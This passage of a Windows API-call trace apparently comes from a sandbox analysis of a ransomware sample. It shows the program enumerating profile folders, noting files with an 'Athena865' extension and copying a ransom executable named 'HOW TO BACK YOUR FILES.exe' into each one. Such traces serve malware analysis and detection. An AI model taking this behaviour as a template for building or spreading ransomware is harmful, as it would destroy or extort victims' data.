(lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Application Data\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\application data\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.769] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Temporary Internet Files", cAlternateFileName="TEMPOR~1")) returned 0 [0103.769] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.769] ReleaseMutex (hMutex=0xec) returned 1 [0103.769] CloseHandle (hObject=0xec) returned 1 [0103.770] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Local Settings\\History" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings\\History") returned="C:\\Documents and Settings\\Default User\\Local Settings\\History" [0103.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0103.770] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cd98 | out: hHeap=0x4f0000) returned 1 [0103.770] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Local Settings\\History") returned 61 [0103.770] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\5B351E888136003852CC7CC6BBC3A285") returned 0xec [0103.770] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.770] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Local Settings\\History" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings\\History") returned="C:\\Documents and Settings\\Default User\\Local Settings\\History" [0103.770] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.770] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\history\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.770] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\History\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\history\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.771] GetLastError () returned 0x0 [0103.771] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.771] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.771] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\History\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xe54a3100, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54a3100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.771] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.771] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.771] lstrcpyW (in: lpString1=0x241e8c4, lpString2="desktop.ini.Athena865" | out: lpString1="desktop.ini.Athena865") returned="desktop.ini.Athena865" [0103.771] lstrlenW (lpString="desktop.ini.Athena865") returned 21 [0103.771] lstrlenW (lpString="Athena865") returned 9 [0103.771] lstrcmpiW (lpString1="Athena865", lpString2="Athena865") returned 0 [0103.771] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54a3100, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54a3100, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="History.IE5", cAlternateFileName="")) returned 1 [0103.771] lstrcmpiW (lpString1="History.IE5", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.771] lstrcmpiW (lpString1="History.IE5", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.771] lstrcpyW (in: lpString1=0x241e8c4, lpString2="History.IE5" | out: lpString1="History.IE5") returned="History.IE5" [0103.771] lstrcatW (in: lpString1="History.IE5", lpString2="\\" | out: lpString1="History.IE5\\") returned="History.IE5\\" [0103.771] lstrcatW (in: lpString1="History.IE5\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="History.IE5\\HOW TO BACK YOUR FILES.exe") returned="History.IE5\\HOW TO BACK YOUR FILES.exe" [0103.772] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\History\\History.IE5\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\history\\history.ie5\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.772] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7a33020, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7a33020, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.772] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.772] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54c9260, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54c9260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 1 [0103.772] lstrcmpiW (lpString1="Low", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.772] lstrcmpiW (lpString1="Low", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.772] lstrcpyW (in: lpString1=0x241e8c4, lpString2="Low" | out: lpString1="Low") returned="Low" [0103.772] lstrcatW (in: lpString1="Low", lpString2="\\" | out: lpString1="Low\\") returned="Low\\" [0103.772] lstrcatW (in: lpString1="Low\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Low\\HOW TO BACK YOUR FILES.exe") returned="Low\\HOW TO BACK YOUR FILES.exe" [0103.772] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\History\\Low\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\history\\low\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.773] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54c9260, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54c9260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Low", cAlternateFileName="")) returned 0 [0103.773] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.773] ReleaseMutex (hMutex=0xec) returned 1 [0103.773] CloseHandle (hObject=0xec) returned 1 [0103.773] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft") returned="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft" [0103.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519c40 | out: hHeap=0x4f0000) returned 1 [0103.773] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc90 | out: hHeap=0x4f0000) returned 1 [0103.773] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft") returned 63 [0103.773] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\FFD332670D3C363FB75D1335CC912190") returned 0xec [0103.773] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.773] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft") returned="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft" [0103.773] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.774] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.774] CreateFileW (lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0103.774] GetLastError () returned 0x0 [0103.774] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0103.774] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0103.774] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc7aa5440, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0103.775] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.775] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0103.775] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Credentials" | out: lpString1="Credentials") returned="Credentials" [0103.775] lstrcatW (in: lpString1="Credentials", lpString2="\\" | out: lpString1="Credentials\\") returned="Credentials\\" [0103.775] lstrcatW (in: lpString1="Credentials\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Credentials\\HOW TO BACK YOUR FILES.exe") returned="Credentials\\HOW TO BACK YOUR FILES.exe" [0103.775] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\Credentials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\credentials\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.775] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54c9260, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54c9260, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds", cAlternateFileName="")) returned 1 [0103.775] lstrcmpiW (lpString1="Feeds", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.775] lstrcmpiW (lpString1="Feeds", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.775] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Feeds" | out: lpString1="Feeds") returned="Feeds" [0103.775] lstrcatW (in: lpString1="Feeds", lpString2="\\" | out: lpString1="Feeds\\") returned="Feeds\\" [0103.776] lstrcatW (in: lpString1="Feeds\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Feeds\\HOW TO BACK YOUR FILES.exe") returned="Feeds\\HOW TO BACK YOUR FILES.exe" [0103.776] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\Feeds\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\feeds\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.776] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ef3c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54ef3c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Feeds Cache", cAlternateFileName="FEEDSC~1")) returned 1 [0103.776] lstrcmpiW (lpString1="Feeds Cache", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0103.776] lstrcmpiW (lpString1="Feeds Cache", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.776] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Feeds Cache" | out: lpString1="Feeds Cache") returned="Feeds Cache" [0103.776] lstrcatW (in: lpString1="Feeds Cache", lpString2="\\" | out: lpString1="Feeds Cache\\") returned="Feeds Cache\\" [0103.776] lstrcatW (in: lpString1="Feeds Cache\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Feeds Cache\\HOW TO BACK YOUR FILES.exe") returned="Feeds Cache\\HOW TO BACK YOUR FILES.exe" [0103.776] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\Feeds Cache\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\feeds cache\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.777] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc7aa5440, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc7aa5440, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0103.777] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0103.777] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ef3c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54ef3c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0103.777] lstrcmpiW (lpString1="Internet Explorer", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.777] lstrcmpiW (lpString1="Internet Explorer", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.777] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Internet Explorer" | out: lpString1="Internet Explorer") returned="Internet Explorer" [0103.777] lstrcatW (in: lpString1="Internet Explorer", lpString2="\\" | out: lpString1="Internet Explorer\\") returned="Internet Explorer\\" [0103.777] lstrcatW (in: lpString1="Internet Explorer\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Internet Explorer\\HOW TO BACK YOUR FILES.exe") returned="Internet Explorer\\HOW TO BACK YOUR FILES.exe" [0103.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\Internet Explorer\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\internet explorer\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.778] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ef3c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54ef3c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Media Player", cAlternateFileName="MEDIAP~1")) returned 1 [0103.778] lstrcmpiW (lpString1="Media Player", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.778] lstrcmpiW (lpString1="Media Player", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.778] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Media Player" | out: lpString1="Media Player") returned="Media Player" [0103.778] lstrcatW (in: lpString1="Media Player", lpString2="\\" | out: lpString1="Media Player\\") returned="Media Player\\" [0103.778] lstrcatW (in: lpString1="Media Player\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Media Player\\HOW TO BACK YOUR FILES.exe") returned="Media Player\\HOW TO BACK YOUR FILES.exe" [0103.778] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\Media Player\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\media player\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.778] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0103.778] lstrcmpiW (lpString1="Windows", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.779] lstrcmpiW (lpString1="Windows", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.779] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Windows Mail" | out: lpString1="Windows Mail") returned="Windows Mail" [0103.779] lstrcatW (in: lpString1="Windows Mail", lpString2="\\" | out: lpString1="Windows Mail\\") returned="Windows Mail\\" [0103.779] lstrcatW (in: lpString1="Windows Mail\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Mail\\HOW TO BACK YOUR FILES.exe") returned="Windows Mail\\HOW TO BACK YOUR FILES.exe" [0103.779] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\Windows Mail\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\windows mail\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.779] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe54ef3c0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe54ef3c0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Media", cAlternateFileName="WINDOW~2")) returned 1 [0103.779] lstrcmpiW (lpString1="Windows Media", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.779] lstrcmpiW (lpString1="Windows Media", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.779] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Windows Media" | out: lpString1="Windows Media") returned="Windows Media" [0103.779] lstrcatW (in: lpString1="Windows Media", lpString2="\\" | out: lpString1="Windows Media\\") returned="Windows Media\\" [0103.779] lstrcatW (in: lpString1="Windows Media\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Media\\HOW TO BACK YOUR FILES.exe") returned="Windows Media\\HOW TO BACK YOUR FILES.exe" [0103.779] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\Windows Media\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\windows media\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.780] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5515520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5515520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 1 [0103.780] lstrcmpiW (lpString1="Windows Sidebar", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0103.780] lstrcmpiW (lpString1="Windows Sidebar", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0103.780] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Windows Sidebar" | out: lpString1="Windows Sidebar") returned="Windows Sidebar" [0103.780] lstrcatW (in: lpString1="Windows Sidebar", lpString2="\\" | out: lpString1="Windows Sidebar\\") returned="Windows Sidebar\\" [0103.780] lstrcatW (in: lpString1="Windows Sidebar\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Windows Sidebar\\HOW TO BACK YOUR FILES.exe") returned="Windows Sidebar\\HOW TO BACK YOUR FILES.exe" [0103.780] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Microsoft\\Windows Sidebar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\microsoft\\windows sidebar\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.781] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xe5515520, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xe5515520, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WINDOW~1")) returned 0 [0103.781] FindClose (in: hFindFile=0x529bd0 | out: hFindFile=0x529bd0) returned 1 [0103.781] ReleaseMutex (hMutex=0xec) returned 1 [0103.781] CloseHandle (hObject=0xec) returned 1 [0103.781] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files") returned="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files" [0103.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x522990 | out: hHeap=0x4f0000) returned 1 [0103.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52cc78 | out: hHeap=0x4f0000) returned 1 [0103.781] lstrlenW (lpString="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files") returned 78 [0103.781] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\82E94956313C655130BC3A4B73CB097C") returned 0xec [0103.781] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0103.781] lstrcatW (in: lpString1="", lpString2="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files" | out: lpString1="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files") returned="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files" [0103.781] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0103.781] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Default User\\Local Settings\\Temporary Internet Files\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\default user\\local settings\\temporary internet files\\how to back your files.exe"), bFailIfExists=1) returned 0 [0103.782] CreateFileW (lpFileName="C:\\Documents and Settings\\Default 